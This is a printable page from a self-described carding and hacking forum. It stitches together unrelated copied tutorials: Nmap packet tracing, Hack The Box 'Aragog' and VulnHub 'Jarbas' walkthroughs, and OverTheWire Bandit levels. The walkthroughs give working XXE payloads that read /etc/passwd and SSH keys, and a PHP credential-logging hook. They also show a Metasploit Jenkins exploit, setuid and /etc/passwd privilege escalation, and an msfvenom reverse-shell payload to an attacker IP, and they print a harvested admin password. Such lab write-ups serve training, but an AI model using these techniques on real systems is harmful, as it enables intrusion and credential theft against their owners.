Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc
[Guide] How to Understanding Nmap Packet Trace - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Understanding Nmap Packet Trace (/Thread-Guide-How-to-Understanding-Nmap-Packet-Trace)

[Guide] How to Understanding Nmap Packet Trace - NINZA - 05-14-2020

Hello everyone. In this article, we’ll see how to capture network packet using nmap. And we’ll use Wireshark for comparing its result with nmap. In this article, we mainly focus on what types of network traffic is captured by nmap while we use various nmap ping scan.
Ping scan in nmap is done to check if the target host is alive or not. As we know that ping by default sends the ICMP echo request and gets an ICMP echo reply if the system is alive. Ping scan by default send an ARP packet and gets a response to check if the host is up.
NOTE: Nmap scans change their behavior according to the network they are scanning.
  • Scanning local network with nmap where nmap sends an ARP packet with every scan.
  • If an external network is to be scanned; nmap sends the following request packets:
ICMP echo request
ICMP timestamp request
TCP SYN to port 443
TCP ACK to port 80
Technique Involves in packet-tracing via nmap
The nmap module is an interface with nmap’s internal functions and data structures. The API offers target host information such as port states and version detection results. It also provides an interface to the Nsock library for effective network I/O.
Nsock is a parallel sockets library used by NSE, service detection (service_scan.cc) and DNS (nmap_dns.cc). It acts as an abstraction layer above socket operations and is optimized for handling multiple sockets. “mspool” is defined at “nsock_internal.h” and contains among other things a struct event_lists which is a structure that keeps information on all pending events.
Event creation
Events are represented with the msevent struct (nsock_internal.h) which contains (among other things)
  • The callback handler -> nsock_ev_handler (nsock_pool, nsock_event, void *)
  • A pointer to a msiod struct -> msiod *iod, which holds all the I/O descriptor (IOD) related information.
  • Struct filespace iobuf (a buffer usually 1024 bytes which holds the write/read bytes)
  • The nse_type (nsock.h)
  • The nse_status (nsock.h)
  • A unique id -> nsock_event_id (EID)
Events are created with the the following special functions:
nsock_connect.c
  • nsock_connect_tcp
  • nsock_connect_udp
  • nsock_connect_ssl
  • nsock_reconnect_ssl
nsock_read.c
  • nsock_readlines
  • nsock_readbytes
  • nsock_read
nsock_write.c
  • nsock_write
  • nsock_printf
nsock_timer_create.c
  • nsock_timer_create
source:

[To see content please register here]


Let’s Start!!
Nmap Sweep Ping Analysis
Attribute -sn/ -sP are used for sweep ping and they try to identify the live host in the network. Using –packet-trace along nmap scan we can observe the network packet.
nmap -sn 192.168.1.103 --packet-trace
1
nmap -sn 192.168.1.103 --packet-trace
Here you can observe first two packets SENT/RECD (received) showing ARP request packet from 192.168.1.105 to 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between the source and destination router.
  • NSOCK INFO that denotes a new nsock_event_id (EID) 8 is generated to represents I/O descriptor (IOD) #1 for NSOCK UDP connection request to the router on port 53.
  • NSOCK INFO that denotes another (EID) 18 is generated to represents read request from (IOD) #1.
  • NSOCK INFO that denotes another (EID) 27 is generated to represents write request for 44 bytes to (IOD) #1.
  • NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to connect for EID 8.
  • NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to write for EID 27.
  • NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to read for EID 18.
  • NSOCK info that IOD #1 is deleted.
  • NSOCK info that nevent_delete is deleting on event 34.
  • At last Nmap scan report Host is up.
[Image: 7.png?w=687&ssl=1]
You can observe the same traffic we have captured from Wireshark
  • Arp request packet for 192.168.1.105 to 192.168.1.103
  • Arp reply packet from 192.168.1.103 to 192.168.1.105
[Image: 8.png?w=687&ssl=1]
Similar you can also choose –reason option with nmap command to enumerate response from host network.
nmap -sn 192.168.1.103 --reason
1
nmap -sn 192.168.1.103 --reason
As you can observe it has clearly shown Host is up when received arp-response.
[Image: 9.1.png?w=687&ssl=1]
As we have seen, by default Nmap sent ARP packet to identify host status therefore now we will trace nmap packet when –disable-arp-ping is activated.
nmap -sn 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -sn 192.168.1.103 --packet-trace --disable-arp-ping
Here you can notice the following SENT packets from source 192.168.1.105 to destination 192.168.1.103.
  • ICMP echo request
  • ICMP timestamp request
  • TCP SYN to port 443
  • TCP ACK to port 80
Then RCVD packet ICMP Echo-reply from destination 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between source to the destination router.
[Image: 9.png?w=687&ssl=1]
Demonstrating working of Ping Sweep using Wireshark
From given below image you can observe the following packet of request and reply between both network IP.
  1. ICMP echo request
  2. TCP SYN to port 443
  3. TCP ACK to port 80
  4. ICMP timestamp request
  5. ICMP echo reply
  6. TCP RST, ACK to port 443
  7. TCP RST to port 80
  8. ICMP Timestamp Reply
[Image: 10.png?w=687&ssl=1]
nmap -sn 192.168.1.103 --disable-arp-ping --reason
1
nmap -sn 192.168.1.103 --disable-arp-ping --reason
Similar you can also choose –reason option with nmap command to enumerate response from host network.
nmap -sn 192.168.1.103 --disable-arp-ping --reason
1
nmap -sn 192.168.1.103 --disable-arp-ping --reason
As you can observe it has clearly shown Host is up when received ICMP echo-response.
[Image: 11.1.png?w=687&ssl=1]
Nmap TCP-SYN Ping Analysis
Attribute -PS sends TCP SYN packet on port 80 by default; we can change it by specifying the ports with it, like -P22.
nmap -PS -p22 192.168.1.103 --packet-trace
1
nmap -PS -p22 192.168.1.103 --packet-trace
Here you can observe this scan is the addition of nmap ping scan and nmap stealth scan because, in the beginning, it sends arp packet then uses nsock libraries and at the end again implicates TCP half communication.
So you can observe the following information we fetched from nmap:
  • SENT/RECD ARP request and reply respectively.
  • Nsock libraries details
  • TCP-SYN packet from 192.168.1.105:36088 to 192.168.1.103:22.
  • TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:36088.
[Image: 11.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark.
[Image: 12.png?w=687&ssl=1]
Similar you can also choose –reason option with nmap command to enumerate response from host network.
nmap -PS -p22 192.168.1.103 --reason
1
nmap -PS -p22 192.168.1.103 --reason
Here you can observe port 22 is open and when received SYN/ACK packet from the host.
[Image: 13.1.png?w=687&ssl=1]
Now let figure out network traffic when –disable-arp-ping activated.
nmap -PS -p22 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -PS -p22 192.168.1.103 --packet-trace --disable-arp-ping
So you can observe the following information we fetched from nmap:
  • SENT TCP-SYN packet on port 80
  • RCVD TCP-RST/ACK from port 80.
  • Nsock libraries details
  • TCP-SYN packet from 192.168.1.105:63581 to 192.168.1.103:22.
  • TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:63851.
[Image: 13.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark also.
[Image: 14.png?w=687&ssl=1]
Nmap ICMP Ping Analysis
Attribute –PE sends ICMP echo request packet [ICMP type 8] and received ICMP echo reply packet
nmap -sP -PE 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -sP -PE 192.168.1.103 --packet-trace --disable-arp-ping
Here you can notice ICMP Echo-request packets SENT from source 192.168.1.105 to destination 192.168.1.103
Then RCVD packet ICMP Echo-reply from destination 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between source to the destination router.
[Image: 15.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark also.
[Image: 16.png?w=687&ssl=1]
Nmap Stealth Scan Analysis
Let’s capture the network packet for default nmap scan also called stealth scan which follows TCP half communication
nmap -p22 192.168.1.103
1
nmap -p22 192.168.1.103
[Image: 22.png?w=687&ssl=1]
Here you can observe TCP-half communication:
  • TCP-SYN packet sent from source 192.168.1.105 to 192.168.1.103 on port 22.
  • TCP-SYN, ACK packet received from source 192.168.1.103 to 192.168.1.105.
  • TCP-RST packet sent from source 192.168.1.105 to 192.168.1.103.
[Image: 23.png?w=687&ssl=1]
Now let’s verify it with parameter –packet-trace and compare the result.
nmap -p22 192.168.1.103 --packet-trace
1
nmap -p22 192.168.1.103 --packet-trace
So you can observe the following information we fetched from nmap which is similar to TCP-SYN Ping.
  • SENT/RECD ARP request and reply respectively.
  • Nsock libraries details
  • TCP-SYN packet from 192.168.1.105:48236 to 192.168.1.103:22.
  • TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:48236.
[Image: 24.png?w=687&ssl=1]
Similarly, you can also choose the “–reason” option with nmap command to enumerate response from the host network.
nmap -p22 192.168.1.103 --reason
1
nmap -p22 192.168.1.103 --reason
Here you can observe port 22 is open and when received SYN/ACK packet from the host.
[Image: 25.png?w=687&ssl=1]
Now let’s figure out the behavior of network traffic when –disable-arp-ping activated.
nmap -p22 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -p22 192.168.1.103 --packet-trace --disable-arp-ping
Here you can notice the following SENT packets from source 192.168.1.105 to destination 192.168.1.103.
  • SENT ICMP echo request
  • SENT TCP SYN to port 443
  • SENT TCP ACK to port 80
  • SENT ICMP timestamp request
  • Then RCVD packet ICMP Echo-reply from destination 192.168.1.103
  • Then used NSOCK libraries to state actual request and response packets travel between sources to the destination router.
  • SENT TCP-SYN request on port 22
  • RECV TCP-SYN, ACK reply from port 22.
[Image: 26.png?w=687&ssl=1]
On the other hand, we saw the same pattern of network traffic in Wireshark too.
[Image: 27.png?w=687&ssl=1]
Nmap TCP Scan Analysis
We know from our basic network communication knowledge that a TCP scan performs a three-way-handshake. A nmap TCP scan is done here:
nmap -sT -p22 192.168.1.103 --packet-trace
1
nmap -sT -p22 192.168.1.103 --packet-trace
So you can observe the following information we fetched from nmap which is similar to TCP-SYN Ping.
SENT/RECD ARP request and reply respectively.
Nsock libraries details
Connecting TCP Localhost from destination host 192.168.1.103:22 is in progress.
Connected TCP Localhost from destination host 192.168.1.103:22 successfully.
[Image: 28.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark too.
[Image: 29.png?w=687&ssl=1]
Similarly, you can also choose the “–reason” option with nmap command to enumerate response from the host network.
nmap -sT -p22 192.168.1.103 --reason
1
nmap -sT -p22 192.168.1.103 --reason
Here you can observe port 22 is open and when received SYN/ACK packet from the host.
[Image: 30.png?w=687&ssl=1]

Hello Friends!! Today we are going to solve another CTF Challenge “Aragog”. This VM is also developed by Hack the Box, Aragog is a Retired Lab and there are multiple ways to breach into this VM.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Table of Content
Scanning
  • Open ports and Running services (Nmap)
Enumeration
  • FTP anonymous login
  • Web Directory Enumeration
Exploit XXE
  • Intercept Browser request (Burp Suite)
  • Access /etc/passwd file
  • Steal SSH RSA key
Access Victim’s shell (SSH login)
  • Capture user.txt flag
Privilege Escalation
  • Capture root.txt flag
Let’s Begin!!
As these labs are only available online, therefore, they have a static IP. Aragog Lab has IP: 10.10.10.78.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.78
1
nmap -A 10.10.10.78
Looking around its result we found ports 21, 22 and 80 are open. Moreover, we notice FTP anonymous login is allowed.
[Image: 1.png?w=687&ssl=1]
Enumeration
So we try to connect with FTP through anonymous login. Here I found the test.txt file in the current directory. Then with the help of get command, we downloaded the test.txt file in our local machine.
ftp 10.10.10.78
ls
get test.txt
cat test.txt
1
2
3
4
ftp 10.10.10.78
ls
get test.txt
cat test.txt
inside test.txt file we observe something related to a subnet_mask in XML format, at this point, I was confused where I can implement this hint.
[Image: 2.png?w=687&ssl=1]
Then we open target IP over web browser but didn’t found any remarkable thing here.
[Image: 3.png?w=687&ssl=1]
When we found nothing at port 80, then though to use dirbuster for web directory brute-force attack.
[Image: 4.png?w=687&ssl=1]
Here I found a /hosts.php file from its result.
[Image: 5.png?w=687&ssl=1]
When I have explored /hosts.php in the web browser I found a message “There are 4294967294 possible hosts for” as shown below image. So I search in Google for 4294967294 hosts which were related to 255.255.255.254 as found in the above test.txt file.
It means we can post the test.txt file here with help of burp suite.
[Image: 6.png?w=687&ssl=1]
Exploit XXE (XML External Entity)
So let’s capture the request and sent the intercepted data into the repeater.
[Image: 7.png?w=687&ssl=1]
As we have predicted the test.txt is in XML format so we have tried to validate XXE injection.
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
1
2
3
4
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
Luckily we found this is vulnerable to XXE injection.
[Image: 8.png?w=687&ssl=1]
Hence now I can simply exploit it for fetching /etc/passwd file with help of following XXE script and then check its response.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
Great!! We got the /passwd file successfully and enumerated two local usernames.
[Image: 9.png?w=687&ssl=1]
With the help of /passwd file information, we try to get id_rsa through XXE script.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>
Yuppiee! We got the ssh private key successfully, that I copied in the text file and named as key.
[Image: 10.png?w=687&ssl=1]
Then assign permission 600 to saved key (id_rsa) and then try to connect with SSH as we knew the port 22 was open in the victim’s network.
cd Desktop
chmod 600 key
ssh -i key [email protected]
1
2
3
cd Desktop
chmod 600 key
ssh -i key [email protected]
And as you can observe that we get login successfully and accessed the TTY shell of victim’s machine, now let’s find the user.txt file to finish the 1st task.
cd /home
ls
cd florian
ls
cat user.txt
1
2
3
4
5
cd /home
ls
cd florian
ls
cat user.txt
1st task is completed; let’s find out root.txt to finish the 2nd task.
[Image: 11.png?w=687&ssl=1]
Privilege Escalation
Inside /var/www/html we saw /dev_wiki and it was good to see that this folder holds WordPress setup and configuration files.
[Image: 12.png?w=687&ssl=1]
So I simply add host IP: 10.10.10.78 and hostname: aragog is our local host file which is present inside /etc.
[Image: 13.png?w=687&ssl=1]
So we explore aragog/dev_wiki in our web browser and got the WordPress home page.
[Image: 14.png?w=687&ssl=1]
As you can observe inside /blog we found a message to Florian from Cliff where he had to express the mess of WordPress restoring in very few minutes.
[Image: 15.png?w=687&ssl=1]
So with help of Google, I found a script

[To see content please register here]

 and download it in victim’s VM inside /tmp and also gave execution permission.
pspy is a command line tool designed to snoop on processes without the need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.
cd /tmp
wget

[To see content please register here]

chmod +x pspy32s
1
2
3
cd /tmp
wget

[To see content please register here]

chmod +x pspy32s
[Image: 50.png?w=687&ssl=1]
After the particular time, we realize that there is a cron job that is frequently deleting the dev_wiki folder & replacing it with the backup folder & a script wp-login.py is ran shortly after that process occurs.
[Image: 51.png?w=687&ssl=1]
Now let’s manipulate the content of the wp-login.php file and place a new php code inside it to enumerate username and password.
echo "" > wp-login.php
nano wp-login.php
1
2
echo "" > wp-login.php
nano wp-login.php

<?php
$req_dump = print_r($_REQUEST, TRUE);
$fp = fopen('/tmp/request.log', 'a');
fwrite($fp, $req_dump);
fclose($fp);
?>
1
2
3
4
5
6
<?php
$req_dump = print_r($_REQUEST, TRUE);
$fp = fopen('/tmp/request.log', 'a');
fwrite($fp, $req_dump);
fclose($fp);
?>

cat wp-login.php
1
cat wp-login.php
[Image: 52.png?w=687&ssl=1]
So this file will dump the credential after a few minutes inside /tmp.
cd /tmp
cat creds.txt
1
2
cd /tmp
cat creds.txt
Administrator: !KRgYs(JFO!&MTr)lf
Hmm!!! We got the admin credential.
[Image: 53.png?w=687&ssl=1]
Now let’s grab the root.txt file quickly and finish this task.
su root
cd /root
cat root.txt
1
2
3
su root
cd /root
cat root.txt
We finished both tasks successfully!!
[Image: 55.png?w=687&ssl=1]

Hello readers. We’d recently tried our hands on the vulnerable VM called Jarbas on vulnhub. It is developed to look like a 90s Portuguese search engine. It is made by Tiago Tavares. You can download the lab from

[To see content please register here]

. The objective of this challenge is to get the root shell.
Difficulty Level: Easy
Steps involved:
Method 1:
  1. Port scanning and network discovery.
  2. Directory enumeration.
  3. Discovery of username and password hashes.
  4. Cracking password hash.
  5. Exploiting Jenkins on port 8080 using Metasploit.
  6. Discovering cronjob.
  7. Modifying cronjob and replacing it with a custom command to set the sticky bit on the find.
  8. Waiting 5 minutes for the sticky bit to get set.
  9. Executing root command to read the flag.
Method 2:
  1. Exploiting Jenkins as above to get a shell.
  2. Using OpenSSL to create a password hash.
  3. Editing /etc/passwd file with our custom file.
  4. Uploading it in the /tmp folder.
  5. Copying it in place of /etc/passwd.
  6. Logging in as root using SU binary.
Method 3:
  1. Achieving meterpreter as above.
  2. Uploading a reverse_bash one-liner in CleaningScript.sh.
  3. Activating Netcat and getting root.
Let’s get started then.
Method 1:
After running a netdiscover scan we figured out that the IP that DHCP allotted to the VM was 192.168.1.122 in my case.
So, we used a nmap aggressive scan to discover opened ports on the VM.
nmap -A 192.168.1.122
1
nmap -A 192.168.1.122
[Image: 2.png?w=687&ssl=1]
There was a webpage associated with the VM so we opened it in the browser.
[Image: 3.png?w=687&ssl=1]
When nothing seemed to impress us, we tried to enumerate the directories using directory buster.
dirb

[To see content please register here]

-X .html
1
dirb

[To see content please register here]

-X .html
[Image: 4.png?w=687&ssl=1]
Since index.html is the default page and there was another HTML page available, we tried to open it in the browser.
[Image: 5.png?w=687&ssl=1]
We found some password hashes in the access.html that we tried to crack it online on hashkiller.
[Image: 6.png?w=687&ssl=1]
WOW! We have three passwords in hand now.
Now, remember we had port 22 open in our nmap scan report, so we tried to login into ssh using the usernames and passwords we just cracked but it didn’t seem to work. So, we looked at another interesting port of 8080 and opened it in the browser.
[Image: 7.png?w=687&ssl=1]
We found a web application on Jenkins. It is an open source automation server written in Java. Jenkins helps to automate the non-human part of the software development process, with continuous integration and facilitating technical aspects of continuous delivery.
We tried to login with all three of the usernames and passwords but the third combination logged us into Jenkins which was:
eder: vipsu
1
eder: vipsu
[Image: 8.png?w=687&ssl=1]
Now, we found that Jenkins had a script console vulnerability and its module was in Metasploit.
use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set target 1
msf exploit(jenkins_script_console) > set rhost 192.168.1.122
msf exploit(jenkins_script_console) > set rport 8080
msf exploit(jenkins_script_console) > set TARGETURI /
msf exploit(jenkins_script_console) > set USERNAME eder
msf exploit(jenkins_script_console) > set PASSWORD vipsu
msf exploit(jenkins_script_console) > exploit
1
2
3
4
5
6
7
8
use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set target 1
msf exploit(jenkins_script_console) > set rhost 192.168.1.122
msf exploit(jenkins_script_console) > set rport 8080
msf exploit(jenkins_script_console) > set TARGETURI /
msf exploit(jenkins_script_console) > set USERNAME eder
msf exploit(jenkins_script_console) > set PASSWORD vipsu
msf exploit(jenkins_script_console) > exploit
[Image: 9.png?w=687&ssl=1]
We got a meterpreter session! Let’s try and get a teletype here using python’s one-liner shell:
shell
python -c 'import pty;pty.spawn("/bin/bash");'
1
2
shell
python -c 'import pty;pty.spawn("/bin/bash");'
Now, we found a shell script in the crontab which was executing automatically after every 5 minutes called CleaningScript.sh and whose job was to remove access log from the system.
cat /etc/crontab
cd /etc/script
ls
cat CleaningScript.sh
1
2
3
4
cat /etc/crontab
cd /etc/script
ls
cat CleaningScript.sh
But even better, it was running with root permissions!
[Image: 10.png?w=687&ssl=1]
Let’s make a new gedit file called CleaningScript.sh and use the root privilege of CleaningScript.sh file to set a sticky bit on “find.”
#!/bin/bash
chmod u+s /usr/bin/find
1
2
#!/bin/bash
chmod u+s /usr/bin/find
[Image: 11.png?w=687&ssl=1]
Now, all that was left to do was to upload this new shell script onto the server and replace it with the original file.
So, we background the shell (CTRL+Z)
and used meterpreter upload command.
upload /root/Desktop/CleaningScript.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash");'
date
1
2
3
4
upload /root/Desktop/CleaningScript.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash");'
date
We observed the time and waited for exactly 5 minutes for the script to run automatically.
[Image: 12.png?w=687&ssl=1]
After 5 minutes:
ls -la /usr/bin/find
1
ls -la /usr/bin/find
Permissions modified: -rwsr-xr-x
The sticky bit got set! Now we just need to use the find inline command execution:
find /home -exec whoami \;
1
find /home -exec whoami \;
As you can see all the users got enumerated as root.
find /home -exec ls -la /root \;
1
find /home -exec ls -la /root \;
Hence, we can execute any command as root now!!
[Image: 13.png?w=687&ssl=1]
A file called flag.txt was visible in the root directory.
find /home -exec cat flag.txt \;
1
find /home -exec cat flag.txt \;
[Image: 14.png?w=687&ssl=1]
Method 2:
For this method, we achieve the meterpreter session as above and then get a shell.
We used echo command this time to set the sticky bit on /usr/bin/cp
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
1
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
[Image: 25.png?w=687&ssl=1]
We read the /etc/passwd file using cat utility after that.
[Image: 26.png?w=687&ssl=1]
Our aim was to add a user in /etc/passwd file as root. So, we use OpenSSL utility to create a password hash with the command:
openssl passwd -l -salt user3 pass123
1
openssl passwd -l -salt user3 pass123
Copy the password hash in someplace safe now.
[Image: 27.png?w=687&ssl=1]
Copy the /etc/passwd file in a leafpad file and let’s add our custom user in there.
raj:$1$user3$<hash>:0:0:root:/root:/bin/bash
1
raj:$1$user3$<hash>:0:0:root:/root:/bin/bash
[Image: 28.png?w=687&ssl=1]
Save this file somewhere on the desktop and download this file on server’s /tmp (universal writeable) directory.
Then use cp (since we set sticky bit) to copy and replace this file with the original file with the command:
cp passwd /etc/passwd
1
cp passwd /etc/passwd
Let’s try and login using su binary:
su raj
[password]: pass123
1
2
su raj
[password]: pass123
Voila! We got a root shell! Let’s read the flag now.
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
[Image: 29.png?w=687&ssl=1]
Method 3:
Achieve shell as above and in another terminal window, try this msfvenom command:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.133 lport=4444 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.133 lport=4444 R

[Image: 30.png?w=687&ssl=1]
Since we know CleaningScript.sh is run as root in every 5 minutes, so we copy this one-liner in CleaningScript.sh and activate a netcat shell side by side and wait for 5 minutes.
cd /etc/script
ls
echo "0<&126 >&126 2>&126" > CleaningScript.sh
1
2
3
cd /etc/script
ls
echo "0<&126 >&126 2>&126" > CleaningScript.sh

[Image: 31.png?w=687&ssl=1]
In another window, after waiting for 5 minutes, we will get a root shell!
nc -lvp 4444
id
python -c 'import pty;pty.spawn("/bin/bash");'
cat flag.txt
1
2
3
4
nc -lvp 4444
id
python -c 'import pty;pty.spawn("/bin/bash");'
cat flag.txt

[Image: 32.png?w=687&ssl=1]
So, that’s how we captured the flag in this VM. Happy Hacking.

Today, we will continue to play the war-game called Bandit.

[To see content please register here]

 Organization hosts this war-game. To play this war-game, go to the Bandit website by clicking

[To see content please register here]

.
Get the solutions of other levels from below.

[To see content please register here]


[To see content please register here]


Objective
Find the password file. It will give us access to the next level.
Table of Content:
  • Level 14-15
  • Level 15-16
  • Level 16-17
  • Level 17-18
  • Level 18-19
  • Level 19-20
  • Level 20-21
Level 14-15
In the previous article, we got the password for level 14 and have successfully connected as user bandit14. We are informed that the password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost. First, we retrieve the password for the current level. We used the cat command to print the password as shown in the given image. To connect to port 30000, we are using telnet. After connecting we enter the current password it is checked and upon matching the password for the next level is printed on the screen. We will use this password to get an SSH connection as bandit15
cat /etc/bandit_pass/bandit14
telnet localhost 30000
ssh bandit15@localhost
1
2
3
cat /etc/bandit_pass/bandit14
telnet localhost 30000
ssh bandit15@localhost
[Image: 1.png?w=687&ssl=1]
Level 15-16
On this level, we are informed that the password for the next level is retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption. We use the openssl command with parameters like s_client that implements that we are the connecting as the client using the hostname localhost at port 30001. We use -ign_eof to inhibit shutting the connection when the end of file is reached in the input.
openssl s_client -connect localhost:30001 -ign_eof
1
openssl s_client -connect localhost:30001 -ign_eof
[Image: 2.png?w=687&ssl=1]
After establishing the connection, we provide it with the password for the bandit15. It is verified and after verification, the password for the next level is provided. We will use this password to get an SSH connection as bandit16.
ssh bandit16@localhost
1
ssh bandit16@localhost
[Image: 3.png?w=687&ssl=1]
Level 16-17
Initially, we are informed that the credentials for the next level can be retrieved by connecting to a port within the range of 31000 to 32000 and submitting the password of bandit16. We use Nmap to scan the ports to get the exact port from the range. As we can see in the output of the Nmap scan that on port 31790 there is a message that hints that we need to enter the password on that port.
nmap -A localhost -p 31000-32000
1
nmap -A localhost -p 31000-32000
[Image: 4.png?w=687&ssl=1]
Now we will connect to this port using openssl as localhost.
openssl s_client -connect localhost:31790
1
openssl s_client -connect localhost:31790

After connecting to the port, we will have to enter the password of bandit16. This password goes under verification. Upon a successful match, we are provided with an RSA key.
[Image: 5.png?w=687&ssl=1]
Now to use this RSA key, we need to create a private key. But we can’t do this inside the home directory as we lack necessary permissions. So, we create a directory in /tmp directory using mkdir command. On traversing to that newly created directory, we will create a private key. We can name it anything we want. Here we are using the nano editor to create the private key.
mkdir /tmp/pavan_ssh
cd /tmp/pavan_ssh
nano pavan.private
1
2
3
mkdir /tmp/pavan_ssh
cd /tmp/pavan_ssh
nano pavan.private
[Image: 6.png?w=687&ssl=1]
After running the nano command, we will be prompted to press the Enter key to continue. On doing that the private key will be opened to edit using nano. Now we will paste the RSA key we found earlier. Now to exit we will press Ctrl and x keys simultaneously. There would be a prompt asking us to save the updates. We will press ‘y’ followed by this, nano will ask us if we want to rename the file. After this, we would have successfully created a private key using the RSA we were provided before.
[Image: 8.png?w=687&ssl=1]
SSH won’t allow any private key with such open permissions. So, we will have to change the permissions. We will use the chmod command to apply the permissions equivalent to 600. This means that only the owner can read and write the file. We will use this private key to get an SSH connection as bandit17.
chmod 600 pavan.private
ssh bandit17@localhost -i pavan.private
1
2
chmod 600 pavan.private
ssh bandit17@localhost -i pavan.private
[Image: 9.png?w=687&ssl=1]
Level 17-18
Upon logging in as bandit17, we run the ls command to look for any files. We see that we have two files, password.new and password.old. Now we have informed that password for the next level the only line that has been changed between both files. We will use the diff command to find that password. And the diff command gives us the required password. We will use this password to get an SSH connection as bandit18.
ls
diff passwords.old passwords.new
ssh bandit18@localhost
1
2
3
ls
diff passwords.old passwords.new
ssh bandit18@localhost
[Image: 10.png?w=687&ssl=1]
Now on providing with the correct password our connection was closed. This is because the authors of this level have modified the .bashrc file to log us out of ssh. We will use the -t parameter to disable the pseudo -tty allocation. As this is making our session vulnerable to get closed. Let’s connect ssh again as shown in the given image.
ssh -T bandit18@localhost
1
ssh -T bandit18@localhost
[Image: 11.png?w=687&ssl=1]
This time we got a shell, it may be not visible but it is there. We can run commands here. First, let’s try the ls command. This gives us the readme file. Upon reading that file, we get what seems like credentials for the next level. We will use this password to get an SSH connection as bandit19.
ls
cat readme
ssh bandit19@localhost
1
2
3
ls
cat readme
ssh bandit19@localhost
[Image: 13.png?w=687&ssl=1]
Level 19-20
After successfully getting the ssh to user bandit19, we start with ls command to see what we got this time. We have a file that seems like a script. We tried to run to see the working of the script. We are shown that the script runs a command as another user. Now we were informed that the password is stored at /etc/bandit_pass/. So, we run the script with the cat command to read the password for the next level. We will use this password to get an SSH connection as bandit20.
ls
./bandit20-do
./bandit20-do cat /etc/bandit_pass/bandit20
ssh bandit20@localhost
1
2
3
4
ls
./bandit20-do
./bandit20-do cat /etc/bandit_pass/bandit20
ssh bandit20@localhost
[Image: 14.png?w=687&ssl=1]
Level 20-21
We are informed that there is a setuid binary in this level whose job is to make a connection to localhost on a port and read the password used to login as bandit20 and then send the password for the next level. First, let’s see the files we have using the command ls. We have a script suconnect. On running this command without any parameters, we see that it requires a port to connect to. Now here is the part where it gets tricky. The image given below is one instance of the shell. We will execute to the point where we run suconnect without parameters and create other instance of the same shell. Run a netcat listener over another instance on the same port we are planning to suconnect. But we need to start listener before running the suconnect. On running the suconnect. Netcat will grab a session. Now we enter the password that we used to login as user bandit20. As we can see that the password, we entered is read by the suconnect and when the password is verified. Password for the next level is sent to the listener.
ls
./suconnect
./suconnect 4444
1
2
3
ls
./suconnect
./suconnect 4444
Image shown below is the execution of the first instance.
[Image: 15.png?w=687&ssl=1]
nc -lvp 4444
1
nc -lvp 4444
Image shown below is the execution of the second instance.
[Image: 16.png?w=687&ssl=1]
Now that we have the password for the next level, we move back to our first instance and used the password to login as user bandit21 using SSH.
ssh bandit21@localhost
1
ssh bandit21@localhost
[Image: 17.png?w=687&ssl=1]